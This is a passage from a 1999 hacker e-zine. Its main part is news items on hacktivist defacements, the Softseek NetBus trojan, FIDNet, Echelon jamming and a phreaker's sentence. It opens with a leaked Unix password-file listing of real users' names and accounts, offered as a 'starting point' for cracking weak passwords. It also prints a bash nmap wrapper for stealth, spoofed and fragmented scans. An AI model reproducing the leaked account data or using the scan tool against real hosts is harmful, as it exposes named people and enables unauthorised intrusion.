Niemi:/users/sniemi:/bin/bash srishell:*:552:100:Sandra W. Rishell:/users/srishell:/bin/bash srishell1:*:566:100:Sandra W. Rishell:/users/srishell1:/bin/bash srishell2:*:584:100:Sandra Rishell:/users/srishell2:/bin/bash srloiu:*:212:100:Sara Ront Loiu:/users/srloiu:/bin/bash ssalvino:*:789:100:Sebastian Salvino:/users/ssalvino:/bin/bash sschubert:*:591:100:Scott Schubert:/users/sschubert:/bin/bash ssloane:*:501:100:Samuel W. Sloane:/users/ssloane:/bin/bash ssundaram:*:280:100:S Sundaram:/users/ssundaram:/bin/bash ssundaram3:*:382:100:shankar sundaram:/users/ssundaram3:/bin/bash ssundaram77:*:559:100:shankar sundaram:/users/ssundaram77:/bin/bash ssundaram99:*:607:100:Shankar Sundaram:/users/ssundaram99:/bin/bash stantasook:*:1108:100:Sayam Tantasook:/users/stantasook:/bin/bash steiner:*:116:100:Thomas Steiner:/users/steiner:/bin/bash stennant:*:515:100:Steve Tennant:/users/stennant:/bin/bash sundaram1:*:1178:100:Gowri:/users/sundaram1:/bin/bash sundaram4:*:403:100:shankar sundaram:/users/sundaram4:/bin/bash sundaram8:*:341:100:shankar sundaram:/users/sundaram8:/bin/bash sverduyn:*:645:100:Shaun Verduyn:/users/sverduyn:/bin/bash swearingen3:*:413:100:Randall Swearingen:/users/swearingen3:/bin/bash sweiser:*:1020:100:Steven Weiser:/users/sweiser:/bin/bash swilliams:*:404:100:Sascha Williams:/users/swilliams:/bin/bash tasakura:*:268:100:Takashi Asakura:/users/tasakura:/bin/bash tbaxter:*:818:100:Thomas Baxter:/users/tbaxter:/bin/bash tenglish:*:506:100:Thomas English:/users/tenglish:/bin/bash tfebres1:*:523:100:Tulio Febres:/users/tfebres1:/bin/bash tfyfe:*:776:100:Terrence J. Fyfe:/users/tfyfe:/bin/bash tgray:*:757:100:Tyler GRAY:/users/tgray:/bin/bash tgray1:*:797:100:Thomas A. Gray:/users/tgray1:/bin/bash tjudge:*:458:100:Terence Judge:/users/tjudge:/bin/bash tkrause:*:1030:100:Timothy W Krause:/users/tkrause:/bin/bash tlazar:*:1022:100:Terry Lazar:/users/tlazar:/bin/bash tlink:*:737:100:Thomas E. Link:/users/tlink:/bin/bash tlongacre:*:571:100:Tim Longacre:/users/tlongacre:/bin/bash tpeters:*:400:100:Tom Peters:/users/tpeters:/bin/bash tsehestedt:*:1145:100:Travis Alan Sehestedt:/users/tsehestedt:/bin/bash tseoh:*:682:100:Thomas Seoh:/users/tseoh:/bin/bash tsmith:*:211:100:Tom Smith:/users/tsmith:/bin/bash twallace:*:520:100:Terry Wallace:/users/twallace:/bin/bash vbrown:*:638:100:Victoria V. Brown:/users/vbrown:/bin/bash vjavarappa:*:1032:100:Venu Javarappa:/users/vjavarappa:/bin/bash vmarco1:*:478:100:Vignato Marco :/users/vmarco1:/bin/bash vmarco2:*:479:100:Vignato Marco :/users/vmarco2:/bin/bash vmarco3:*:480:100:Vignato Marco :/users/vmarco3:/bin/bash vmarco4:*:481:100:Vignato Marco :/users/vmarco4:/bin/bash wcrutch:*:442:100:William E. Crutchfield:/users/wcrutch:/bin/bash wgarmier:*:1180:100:William W. Garmier:/users/wgarmier:/bin/bash wkmail1:*:231:100:al :/users/wkmail1:/bin/bash wmccormack:*:829:100:Winthrop McCormack:/users/wmccormack:/bin/bash wmccutchen:*:839:100:Wilmot H. McCutchen:/users/wmccutchen:/bin/bash wmize:*:1113:100:William R Mize:/users/wmize:/bin/bash wmurdoch:*:1157:100:William Murdoch:/users/wmurdoch:/bin/bash wroll:*:182:100:William J. Roll:/users/wroll:/bin/bash wsapp:*:817:100:Wendy Sapp:/users/wsapp:/bin/bash wschneider:*:1146:100:William E. Schneider:/users/wschneider:/bin/bash wtraver:*:245:100:William L. Traver:/users/wtraver:/bin/bash wyorke:*:1150:100:William J Yorke:/users/wyorke:/bin/bash xdingguo:*:943:100:xu dingguo:/users/xdingguo:/bin/bash ymoeller:*:414:100:York Moeller:/users/ymoeller:/bin/bash zalexandre:*:243:100:Zonine Alexandre:/users/zalexandre:/bin/bash zambiasi5:*:385:100:PietroZambiasi:/users/zambiasi5:/bin/bash zambiasi9:*:386:100:Pietro Zambiasi:/users/zambiasi9:/bin/bash fmoreno:*:2005:100:Felipe Moreno,,,:/users/fmoreno:/dev/null As you can see this is a shadowed password file, but it still gives the would be cracker a good starting point at making entry, notice all the duplicate user names, its likely that weak passwords are in use on this box. I didn't go beyond looking at the shadowed password file, what you do is your business, either way enjoy this info for what its worth. @HWA 04.0 Fun and games ~~~~~~~~~~~~~ Contributed by Wyze1 Bored? want to hax0r root on a leet security box without the legal ramifications? try this... Telnet to 3rdpig.com login as root, press ENTER when it asks you for a PASSWORD, try typing WHO to see who else is online...try other commands too and have fun...its all perfectly safe and legal, its a 'joke' machine that was setup by the folks at 3rdpig. @HWA 05.0 scan.sh v1.1b by Twstdpair [HWA] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Updated from last week's version here's v1.1b written on Caldera Open Linux v1.3 in bash. #!/bin/bash # # scan.sh written by Twistdpair [HWA] v1.1b # # greets to all the cool cats in #hwa.hax0r.news # # This shell script created with VIX (Also written by The Twisted Pair) # # Internal vars: # #_debug=1 _longdate=`date "+%A %B %d, %Y"` _time24=`date +%T` _binbase=$HOME/bin _scriptname=${0#${_binbase}/} _script_opts="[-tusfxnp] [-log] [-v1|-v2] [-spoof] [-frag] ip" # # Builtin debug function: # if [ ! -z $_debug ]; then echo "_scriptname="$_scriptname exit 2 fi # # Comment this out or remove it if your script takes no parameters # if [ $# -eq 0 ]; then echo "usage:" $_scriptname $_script_opts exit 1 fi # # Script name: scan # Version : 1.4 # Created by : The Twisted Pair # Created on : Thursday October 07, 1999 at 15:48:37 # # ---------------------------------------------------- # Option Scan Type Stealth? Sp00f Opts? # ---------------------------------------------------- # t (default) TCP No No # u UDP No No # p Ping No No # s SYN Somewhat Yes # f FIN Yes Yes # x Xmas-Tree Yes Yes # n NULL Yes Yes # # Modify these to suit what you want. # Check out the -e param in spoof_presets to make sure its using the correct device # base_opts="-O" verbose1_presets="-v" verbose2_presets="-vv" pkt_frag_presets="-f" spoof_presets="-S 192.168.0.2 -e eth0 -P0" spoof_opts="" pkt_frag_opts="" verbose_opts="" for user_param in "$@" ; do case $user_param in -v1 ) verbose_opts=$verbose1_presets;; -v2 ) verbose_opts=$verbose2_presets;; -spoof) spoof_opts=$spoof_presets;; -frag ) pkt_frag_opts=$pkt_frag_presets;; -log ) log_yn="y";; -t ) scan_opts="-sT" pkt_frag_opts="" spoof_opts="";; -u ) scan_opts="-sU" pkt_frag_opts="" spoof_opts="";; -s ) scan_opts="-sS";; -f ) scan_opts="-sF";; -x ) scan_opts="-sX";; -n ) scan_opts="-sN";; -p ) scan_opts="-sP" pkt_frag_opts="" spoof_opts="";; esac done for i do bad_host_ip="$i"; done if [ `expr "$bad_host_ip" : '-*'` -gt 0 ]; then echo "usage:" $_scriptname $_script_opts exit 1 fi if [ ! -z $log_yn ]; then log_opts="-o "$HOME"/shitlist/"$bad_host_ip".log" fi echo "nmap "$base_opts $verbose_opts $scan_opts $spoof_opts $pkt_frag_opts $log_opts $bad_host_ip nmap $base_opts $verbose_opts $scan_opts $spoof_opts $pkt_frag_opts $log_opts $bad_host_ip @HWA 06.0 Bikkel (demoniz') webboard back online ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Demoniz seems to have resurfaced long enough to revive his webboard which is back online at http://bikkel.com/cgi-bin/webforum.cgi ... it was a major source of info when demoniz's site was in full bloom perhaps it will return to some of its former glory... in any case check it out. @HWA 07.0 Belgians tighten computer security laws ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Contributed by Zym0t1c Since today - Oct, 9th 1999 - Belgian hackers can be sentenced from three months up to five years in prison. The government made a lawbill about "crimes against confidentiality, integrity and the availability of computersystems and the data stored, processed or transmitted by these systems." Anyone illegally accessing a system can be sentenced to three months and if the hack has a malicious intention, the sentence can raise up to five years of imprisoment. It hasn't yet become an act, but next month the government will discuss these sentences. Yesterday a proposition was made by Marc Verwilghen for sentences against computercrimes from three months to one year. Today the sentences can raise up to five years! It all began with the first stupid hack of ReDaTtAcK #1 a few months ago. However the government made a lawbill some time ago but it was left aside. Now, since the "famous Belgian hacks" (Bah!) the government picked up where they left to complete these lawbills and actually add them to the law... Thanx loser! (The website of Frank Devaere, aka ReDaTtAcK #1, his firm is: http://www.dinware.be. Enjoy yourself! Note that this site was mentioned for pure informational purposes only.) Anyone who wants to read the dutch article about the lawbill can go to: http://www.standaard.be/asp/r.asp?i=dst9910080016 /* For experienced dutch understanding people only! :) */ @HWA 08.0 Pakistani hacktivists 'blitz' web sites,, ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Kashmir-minded Pakistani 'hacktivists' blitz Web sites October 8, 1999 Web posted at: 3:57 p.m. EDT (1957 GMT) By D. Ian Hopper CNN Interactive Technology Editor Since October 1, the two students who make up the Pakistan Hackerz Club have defaced over 40 Web sites, according to a hacking mirror site. From the Mildew Removal Specialists site to several government sites within China, the PHC hasn't shown one overarching pattern in their choice of targets. Not so for the results; almost every site's main page has been replaced with the PHC logo and a treatise in defense of the disputed region of Kashmir as well as graphic photographs depicting charred bodies and wounded Kashmiri children. The two members of the club, known only as Doctor Nuker and Mr_Sweet, refuse to identify themselves beyond their profession and nationality. While popular hacking site Attrition.org logs PHC as hacking 61 sites in all since July 4 of this year, their recent proliferation came as Indians went to the polls to elect a new government. In 1989, an insurrection erupted in the Kashmir Valley, a Muslim-majority area that Islamic militants want to break away from India, which is predominantly Hindu. The guerrilla war has killed thousands of civilians, militants, police, army and paramilitary officers. Security forces have special powers to detain anyone without giving reasons. Hundreds of civilians have disappeared, some of them killed by guerrillas who suspected them of being police informers. Allegations of torture and human rights abuses are numerous against both sides. Separatist violence involving Kashmiri guerrillas has been on the rise since Indian troops dislodged armed infiltrators from northern Kashmir in July after a two-month operation. Nearly a dozen groups are fighting against Indian rule in Jammu and Kashmir. Pakistan, which also claims Kashmir, has fought two wars with India over the region. According to PHC member Doctor Nuker, Kashmir is at the top of PHC's concerns, but their goals are more far-reaching than just that disputed region. "Our goal is to bring attention to violence in Kashmir, but that's just not going to be our only goal. PHC will hack for all the injustice going in this world, especially the killings and injustice with Muslims. [The] United Nations and [the] United States never forget to act urgent on other small issues but they never give a damn about the Kashmir issue. We not only say, but we really care for Kashmiris and take them as our brothers and sisters," Doctor Nuker said. Their targets are simple and telling. Not the Indian government itself, nor U.S. government sites, but any site that is "good and regularly-visited." Their immediate goal may be simply to bring attention to Kashmir - Doctor Nuker says his mailbox is filled with messages from people interested in the Kashmir issue as a result of the hacks - but their ultimate purpose may be lost in their means. Hacktivism, as the combination of hacking and public activism has become called, is sharply on the rise. Their prevalence has been increasing with the increased public focus on the Web. It is a regular occurrence against China, which has taken a hard-handed approach to the Internet, though it can be found in almost every incident of modern political strife from the Chiapas separatists to NATO's action in Kosovo. However, the marriage activism and computer hacking has a fundamental flaw, according to Alex Fowler, Strategic Initiatives Director for the Electronic Frontier Foundation. "A lot of groups are claiming that they're hacking into sites for a higher moral purpose, but they're hiding beyond anonymity or pseudonymity. Taking responsibility is not something we see happening. One of the critical things in environmental causes and the civil rights movement was that groups who used strong tactics and intentionally broke the law eventually came forward and took responsibility for their actions. It was owning up that really helped these movements forward." Hackers have always been known for their love of pseudonyms, and their conflicting fear of the limelight but compulsion to sign their work may make current hacktivists unfit for the profession. Tweety Fish, a member of the Canadian hacker group Cult of the Dead Cow, defends hacktivists as merely being purveyors of information. Defacing an Indonesian site with reports of Indonesian atrocities or foiling the "Great Firewall of China" that blocks out sites offensive to the Chinese government make anonymity irrelevant, Tweety Fish said. Hacktivists will soon find a resource, and even a target list, of sorts, to assist them. Tweety Fish maintains the "Hacktivism" site, which will offer a "forum" for hacktivists and link to news reports about governmental Internet policies. On tons of Web sites, coders with a cause can learn how to break in to Web servers, not that it's that difficult. Hackers are finding most Web sites to be a cinch to deface, which is part of the reason why it's a more attractive alternative to off-line activism. "Office buildings and government buildings have surveillance set up. Online, it's pretty easy pickings. A lot of servers aren't secure, and it's not like you have to be super-sophisticated to learn how to hack into the site. You get a lot of bang for the buck," Fowler said. There's little doubt that hackers won't stop with words and pictures. Fowler believes it's only a matter of time before hacktivists move from simple online graffiti to more destructive attacks on e-commerce sites and information databases. "We will see very serious attacks. Information stealing could have very long-term consequences for consumers. We shouldn't get accustomed to these kinds of incidents, thinking, 'It's just a billboard, who cares?' We should consider, 'How secure is the Internet? Should we be posting personal information to a medium that is so easily cracked?' We should see these types of incidents as a harbinger for more privacy and security breaches." @HWA 09.0 Fidnet gets funding. ~~~~~~~~~~~~~~~~~~~~ From HNN http://www,hackernews.com/ contributed by evilwench The House Appropriations Committee recently eliminated funding for the proposed federal intrusion detection surveillance system (FIDNet). The White House, however, has found other funding through a $611 million mid-year fiscal 2000 budget amendment. The Office of Management and Budget sent the request to congress which included $39 million for enhancing computer security and critical infrastructure protection within several agencies. $8.4 million of which will be used for the Proposed FIDNet system to be run by the General Services Administration. Government Executive Magazine http://www.govexec.com/dailyfed/1099/100699b2.htm October 6, 1999 DAILY BRIEFING White House finds funding for security network By Bara Vaida, National Journal's Technology Daily The House Appropriations Committee may have eliminated funding for the Clinton Administration's proposed federal intrusion detection surveillance system (FIDNet), but the White House found another vehicle for funding through a $611 million mid-year fiscal 2000 budget amendment. On Sept. 21, the White House's Office of Management and Budget sent up the proposed request to Congress, including $39 million for enhancing computer security and critical infrastructure protection within several agencies. The president requested $8.4 million for FIDNet to be run by the General Services Administration. "The proposal would, through the use of additional staff and enhanced technology, improve federal agencies' ability to detect computer attacks and unauthorized instructions, share attack warnings and related information across agencies and respond to attacks," according to the written proposal. In July, the White House revealed its plan to create FIDNet, which is aimed at centralizing computer intrusion detection. It immediately was criticized by privacy and civil liberties groups and some members of Congress who were concerned that the system would result in federal surveillance of all computer networks. In September, House appropriators denied funding designated for FIDNet in the Commerce, State and Justice appropriations bill in August. Administration officials have said that FIDNet would monitor only federal networks, though an early draft of the plan envisioned that eventually private networks would also be overseen, said Richard Diamond, spokesman for House Majority Leader Dick Armey, R-Texas. Jon Jennings, acting assistant attorney general for legislative affairs at the Justice Department, told Armey in a Sept. 22 letter that the media had "mischaracterized" the FIDNet proposal, but Armey's concerns have not been assuaged. "They have made some steps backward to address the concerns we raised over the program, but we aren't satisfied quite yet that they are taking privacy concerns fully… We want them to say in absolute terms that (FIDNet) will not be used in anyway to cover private networks," Diamond said. Armey has given the administration a deadline of Oct. 15 to respond fully to his concerns, Diamond said. @HWA 10.0 Softseek.com Distributes Trojan Horse ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by pchelp An application distributed by Softseek.com, a ZDNet web site, called WinSec v1.01 claims to be designed to restrict users from accessing certain Windows features. In actuality this program is a Trojan Horse disguising NetBus. NetBus is a remote administration tool that could be used by a malicious attacker to gain control of an unsuspecting users machine. Softseek, has failed to respond to questions about the incident. PC Help Advisory http://www.nwi.net/~pchelp/security/alerts/softseek.htm FOR IMMEDIATE RELEASE Thursday, 7 October 1999 1900:00 PDT ZDNET SITE SENDS USERS TO BACKDOOR PROGRAM Softseek.Com Promotes Trojan Horse to Unwitting Users Among the security applications recommended by Softseek.com at its popular download site is a well-known and very capable backdoor program called NetBus. The trojan horse program is being deceptively promoted as WinSec v1.01, "a Windows security program designed to restrict users from accessing certain Windows features." If an unsuspecting user downloads and runs the program, it immediately installs hidden backdoor access, opening the victim's computer to comprehensive intrusion via the Internet link. The Softseek representation displays a screen shot of a seemingly purposeful application, and describes it in some detail. It's unknown whether a legitimate application by the name "WinSec" actually exists. At last check (7PM PDT 7 October), and despite user complaints, Softseek still features the bogus program at URL: http://www.softseek.com/Utilities/Encryption_Security_and_Passwords/Security_and_Access_Control/4index.html The bogus review appears at: http://www.softseek.com/Utilities/Encryption_Security_and_Passwords/Security_and_Access_Control/Review_24937_index.html Links lead the Softseek site's visitors to an anonymous website hosted by Xoom.com. The backdoor program is in clear violation of Xoom's Terms of Service. Document dates indicate the site has existed in its present form since September 1st 1999. Softseek has featured WinSec since at least June 14th of this year. The originator's identity is nowhere to be seen and may well prove impossible to determine. Given the high-traffic nature of the Softseek site, the hostile application could easily have been accessed by tens of thousands of victims over the past month. To make matters worse, one victimized user reports that a Softseek representative forwarded his complaint, with his email address, to the trickster. This places the victim at potential risk of retribution. The incident raises serious questions about Softseek's screening procedures, its handling of complaints, and the legitimacy of its other offerings. Users who complain to Softseek about hostile applications may be placed at further risk when their identities are exposed to malefactors. Softseek, a ZDNet company, has failed to respond to questions about the incident. A ZDNet representative was notified by phone of the problem, and promised action before 6PM this evening. But the Softseek site remains unchanged and a promised callback from ZDNet never materialized. An HTML version of this alert is at: http://www.nwi.net/~pchelp/security/alerts/softseek.htm Please contact pchelp@nwi.net for further details. @HWA 11.0 Global Jam Echelon Day Update ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by James Evidently there has been some confusion as to when the Global Jam Echelon day will take place. The now confirmed date is October 21st and not October 18th as previously reported here and elsewhere. Echelon is a vast mythical eavesdropping network set up by various governments including the US, UK, Canada, Australia and others in order to monitor the world's electronic communications (telephone, email, fax, etc.) for subversive keywords. On October 21st netizens around the globe are implored to send out at least one email with at least one of the key words. While the actual list of words is not known it is assumed that words such as these will trigger the system: Kill FBI CIA NSA IRS ATF BATF DOD Militia gun weapon manifesto terrorism bomb Special Forces SOF Delta Force constitution Mossad NASA MI5 revolution terrorist economy Wired http://www.wired.com/news/news/politics/story/22102.html Global Jam Echelon Day http://www.echelon.wiretapped.net/ Hackers Ascend Upper 'Echelon' by James Glave 3:00 a.m. 6.Oct.99.PDT Mossad. Bomb. Davidian. MI5. If the hunch of a loose-knit group of cyber-activists is correct, the above words will trip the keyword recognition filter on a global spy system partly managed by the US National Security Agency. The near-mythical worldwide computer spy network reportedly scans all email, packet traffic, telephone conversations -- and more -- around the world, in an effort to ferret out potential terrorist or enemy communications. Once plucked from the electronic cloud, certain keywords allegedly trigger a recording of the conversation or email in question. Privacy activists have used the words in their signature files for years as a running schtick, but on 21 October, a group of activists orginating on the "hacktivist" mailing list hope to to trip up Echelon on a much wider scale. "What is [Echelon] good for?" asked Linda Thompson, a constitutional rights attorney and chairman of the American Justice Federation. "If you want to say we can catch criminals with it, it is insane that anyone should be able to snoop on anyone's conversations." "Criminals ought to be caught after they commit a crime -- but police are not here to invade all our privacy to catch that two percent [of criminal communications]," she said. A 1994 report by the Anti-Defamation League described Thompson as "an influential figure in the militia movement nationally." The report says the American Justice Federation describes itself as "a group dedicated to stopping the New World Order and getting the truth out to the American public." The Anti-Defamation League says Thompson claims to have contact with militias in all 50 states. On 21 October, Thompson, along with Doug McIntosh, a reporter for the federation's news service, and members of the hacktivism mailing list community, invite anyone concerned about the system to append a list of intriguing words to their emails. Specifically, they suggest the following keywords: FBI CIA NSA IRS ATF BATF DOD WACO RUBY RIDGE OKC OKLAHOMA CITY MILITIA GUN HANDGUN MILGOV ASSAULT RIFLE TERRORISM BOMB DRUG HORIUCHI KORESH DAVIDIAN KAHL POSSE COMITATUS RANDY WEAVER VICKIE WEAVER SPECIAL FORCES LINDA THOMPSON SPECIAL OPERATIONS GROUP SOG SOF DELTA FORCE CONSTITUTION BILL OF RIGHTS WHITEWATER POM PARK ON METER ARKANSIDE IRAN CONTRAS OLIVER NORTH VINCE FOSTER PROMIS MOSSAD NASA MI5 ONI CID AK47 M16 C4 MALCOLM X REVOLUTION CHEROKEE HILLARY BILL CLINTON GORE GEORGE BUSH WACKENHUT TERRORIST TASK FORCE 160 SPECIAL OPS 12TH GROUP 5TH GROUP SF The campaign has spread around the Net and has been translated into German. Organizers hope "gag Echelon day" catches on on a global scale as a means of raising awareness of the system. Neither the NSA, nor its UK equivalent -- the Government Communications Headquarters -- has admitted that the system exists, although its capabilities have been debated in the European Parliament. Australia's Defense Signals Directorate, an agency allegedly involved in Echelon, recently admitted the existence of UKUSA, the agreement between five national communications agencies that reportedly governs the system. Last fall, the Washington-based civil liberties group Free Congress Foundation sent a detailed report on the system to Congress, but the system was not debated. The latest effort hopes to further boost public awareness of the system. "Most people are angry about it," said Thompson. "When you find out it is not some science fiction movie, most people will be outraged." But an Australian member of the activist community hopes that "jam Echelon day" will be about public awareness of technologies of political control, not about generating paranoia. "Public awareness should empower -- not scare people aware from using the Net," the activist, who identified himself only as Sam, said. Editor's Note: This Story has been corrected. The Jam Echelon Day project will be held 21 October, and coordinated by members of the Hacktivism mailing list. The article had incorrectly suggested that the American Justice Federation had organized the event. Wired News regrets the error. http://hacktivism.tao.ca/ @HWA 12.0 NSA Document Retrieval Capabilities ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by spiderus Considering the technology available for document retrieval it is doubtful that the Global Jam Echelon Day will have any impact if the messages only contain keywords. These links indicate that the NSA's (and probably other agencies) information sorting capability (n-gram analysis) is extremely more advanced than simple keyword grabbing. This technology isn't new either it has been available publicly for license since 1993. Considering the computing power available to high-level government agencies in conjunction with this document retrieval technology it is doubtful that the plan to jam or overflow the Echelon system will have a large effect. (Can't hurt to try though.) National Security Agency - Technology Overview http://www.nsa.gov:8080/programs/tech/factshts/infosort.html Patent on method of retrieving documents by topic http://164.195.100.11/netacgi/nph-Parser?Sect1=PTO1&Sect2=HITOFF&d=PALL&p=1&u=/netahtml/srchnum.htm&r=1&f=G&l=50&s1='5,418,951'.WKU.&OS=PN/5,418,951&RS=PN/5,418,951 @HWA 13.0 London Firms Targeted for Cyber Attack ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Lady Sharrow IT security expert Dr Neil Barrett is claiming that a group of "motivated amateurs" is planning denial of service attacks and other disruptions against London based firms who use NT-based systems. The attacks are supposedly planned for January 4, 2000. (We would sure like to know where Dr. Barrett gets his information and how he came up with his time limit on intrusions into bank systems.) Computer Weekly http://www.computerweekly.com/pagelink.asp?page=article&link=%2Fcwarchive%2Fnews%2F19991007%2Fcwcontainer%2Easp%3Fname%3DB1%2Ehtml Issue date: 7 October 1999 Article source: Computer Weekly News City firms facing hacking threat Karl Schneider Firms in the City of London face a potentially damaging attempt by hackers to disrupt their IT systems on 4 January 2000. Speaking at the IT Directors Forum this week, IT security expert Dr Neil Barrett said two or three groups of UK hackers have been commissioned to attack the systems of top city firms, as part of a demonstration against City "greed". He claimed the organisers of the 4 January attack were among those involved in the anti-City demonstration on 18 June this year, which resulted in pitched battles between demonstrators and police in the Square Mile. Barrett, who is on the Confederation of British Industry's Information Security Panel, described those planning the 4 January assault as "motivated amateurs" rather than professional hackers. He said the raid would most likely take the form of "denial of service" attacks against city firms' NT-based systems, aiming to block the use of systems by legitimate users. "A really successful intrusion into a bank's systems takes two or three days to put together," he explained. "This is just a one-day exercise, so they won't be manipulating systems". Barrett said there was a smaller-scale attack by just one group of hackers during the 18 June demonstration, but on that occasion the attempts got no further than "door-rattling". The attack on 4 January posed a greater threat, he said, "the City of London Police are taking this seriously". "A lot of the companies targeted are now forewarned," he added. "But some of them felt that the attempt on 18 June was pretty ineffective. The danger is they could be too complacent". @HWA 14.0 UK Phreaker Sentenced ~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Lady Sharrow, no0ne, and Monkey 100 hours community service and 2 years probation was the penalty imposed upon phreaker Paul Spiby. The UK citizen who rung up £106,000 (or 64 days) worth of free phone time by using a phone link to Nicaragua was commended by the judge for his "technical skills". (Just who the hell do you talk to for that amount of time?) The UK Telegraph http://www.telegraph.co.uk/et?ac=001576828917683&rtmo=qu99KMx9&atmo=99999999&pg=/et/99/10/9/nbul09.html The UK Register http://www.theregister.co.uk/991011-000008.html BBC http://news.bbc.co.uk/hi/english/uk/newsid_469000/469248.stm UK Telegraph; Telephone hacker in court A TEENAGER who discovered how to use a laptop computer to avoid telephone charges illegally made £106,000 worth of calls around the world. Paul Spiby, now aged 20, of Cosby, Leicester, used computer-generated tones transmitted down an 0800 line to Nicaragua to fool the overseas exchange into believing he had finished the call. Instead, he was able to keep the line open and dial any number he wanted, Southwark Crown Court was told. For technical reasons he could be charged only with extracting electricity worth a few pence. He was sentenced to 100 hours of community service combined with two years' probation. His equipment was confiscated. UK Register; Posted 11/10/99 11:56am by Sean Fleming Phreaker with £100k phone bill avoids jail UK phone phreaker Paul Spiby was handed down a sentence of 100 hours community service and two years' probation by a judge at Southwark Crown Court last Friday. Spiby was caught after he used a phone link to Nicaragua to run up £106,000 worth of free phone time over a 64-day period two years ago. He was facing 14 sample charges of extracting electricity. He was told by Judge George Bathurst-Norman that he narrowly escaped a prison sentence, according to a report in The Guardian. The judge went on to commend Spiby on his technical skills and advised him to stay on the right side of the law in future. Now aged 20, Spiby is planning to go to university. ® BBC; UK Phone hacker dials £106,000 bill A 20-year-old telephone hacker has escaped jail after using his computer skills to run up an illegal £106,000 phone bill. Paul Spiby was aged just 18 when he discovered he could ring round the world using just an ordinary laptop and considerable amounts of telephone trickery, Southwark Crown Court heard. Some of the calls he made lasted nearly six hours and during the six months his crimes went undetected, they amounted to a staggering 64 days on the phone. Judge George Bathurst-Norman told Spiby of Ginson Avenue, Cosby, Leicester, that he was an "absolute menace" and had only just escaped jail. Working from his bedroom, the teenager used a series of computer-generated tones, transmitted down a line to Nicaragua, to fool the Overseas Exchange into thinking he had ended his call. Instead, he was able to keep the line open, dial any number he wanted without paying a penny, and join a select group of hackers called "Phreakers". However, despite the six-figure loss to British Telecom - deemed unrecoverable - technical reasons meant he could be charged only with extracting electricity worth a few pence. Evidence destroyed Prosecuting, Tudor Owen said Spiby, who admitted 14 sample Theft Act counts of extracting electricity, possessed an "extremely detailed knowledge of computers". The barrister said the scam relied on the fact that not all overseas telephone networks were as advanced as Britain's, and meant the abuse was impossible to prevent, and difficult to detect. British Telecom finally realised something was amiss when it discovered that an abnormal number of phone calls, lasting hours, were being made from the telephone registered in the name of the teenager's father. When police, armed with a search warrant called at his home, Spiby pretended no-one was in so he could "destroy incriminating evidence". Passing sentence, Judge Bathurst-Norman said: "In the circumstances I have just come to the conclusion that it would be wrong to say you should go to prison." Instead Spiby received a 100-hour community service order, combined with two years' probation. The judge, who also ordered Spiby's equipment to be confiscated, added: "You are clearly a very able young man ... now stay out of trouble." @HWA 15.0 Disappearing Email? We Doubt It. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by augie01 There has been a lot of hype about a new product by Disappearing Inc. that claims to be able to delete email on a reciever's system after it has been sent. Unfortunately the product is not shipping yet so all we have to go on is the company's word and its press releases. Disappearing Inc. is making some pretty bold claims as to what this new product will be able to do. So bold that we have trouble believing them. We will take the wait and see attitude. ABC http://abcnews.go.com/sections/tech/CuttingEdge/email991008.html Disappearing Inc. - Press Release http://www.disappearing.com/press_release3.thtml Disappearing Inc. - FAQ http://www.disappearing.com/faq3.thtml ABC; No-Trail E-Mail This Message Will Self-Destruct In... Usually, any e-mail sent or received is stored someplace, even after you have deleted it. ABCNEWS’ Jack Smith reports that a new generation of self-encoding, self-destructing, e-mail programs may soon increase electronic security. (ABCNEWS) RealVideo javascript:PopoffWindow('/sections/tech/popoff/emailvideo991009_popoff/index.html', 'Horizontal') By Giselle Smith ABCNEWS.com Oct. 8 — It won’t burn up and smoke like the tapes on the old Mission Impossible TV show. But soon e-mail may vanish just as completely. Thanks to San Francisco-based startup Disappearing Inc., senders of electronic mail will be able to attach an “expire-by” date to their messages. Available to corporate clients starting in January, the company’s as yet-unnamed plug-in will work with any existing mail system. The application also will work with a variety of encryption systems, including Blowfish and RSA, according to Rod Lehman, vice president of marketing for Disappearing. Priced at $3 to $5 per user per month for corporate customers, it won’t be available for home use until next summer. Disappearing e-mail will make electronic communication more popular, predicts Kerry C. Stackpole, president and CEO of the Electronic Messaging Association, a trade group. “Being able to do that on a secure basis in a consistent fashion with ease is going to just encourage people to use the Internet more.” How it Works Once you’ve loaded the plug-in, it creates a menu item called “DI sending options.” When you send an e-mail message, you can choose the length of time you want the message to exist — five minutes, a week, a month or forever. Then hit send. “Every time you go to send a message with Disappearing Inc., we assign it a unique key and encrypt it,” Lehman says. Disappearing e-mail will work whether the e-mail recipient has the plug-in or not. When the recipient gets the e-mail, the message will appear as an encrypted attachment. When it’s opened, the recipient’s e-mail client picks up the key from the sender’s system. The sent message will be available in the recipient’s inbox for the specified length of time unless the sender deletes it. If the sender thinks better of the message before it’s read by the addressee, it can be deleted and the recipient will get a message saying the message has been deleted. Once the key is deleted by the sender, the message reverts to its encrypted form and can’t be retrieved on either computer system. Of course, even Disappearing Inc. can’t protect you absolutely. If you send harassing or incriminating messages, the receiver could, print or save a screen shot of the message before it’s deleted. But if both parties agree that e-mail correspondence is private then, once deleted, it will be almost impossible for anyone to recover messages. Thus the primary use of disappearing e-mail is likely to be between people who agree to keep their correspondence private. For the Company or the Employee? Finding a way to send and receive secure e-mail is an ongoing challenge. Even after you’ve deleted private or offending e-mail sent with conventional systems, it can usually be retrieved by high-tech sleuths. Deleted-but-retrieved messages have come back to haunt many people, as Microsoft executives well know from the company’s antitrust trial. “So far, the level of interest in security and privacy has been greater than the success of most of the companies tackling the problem,” says Kevin Werbach, managing editor of high-tech newsletter Release 1.0. Though encryption technology can create secure systems, this is the first use of existing technologies to create private e-mail on demand, Werbach says. At $3 to $5 per user, a company of, say, 150 employees could end up spending almost $10,000 a year on a service that may protect employees’ privacy more than that of the company at large. Companies with 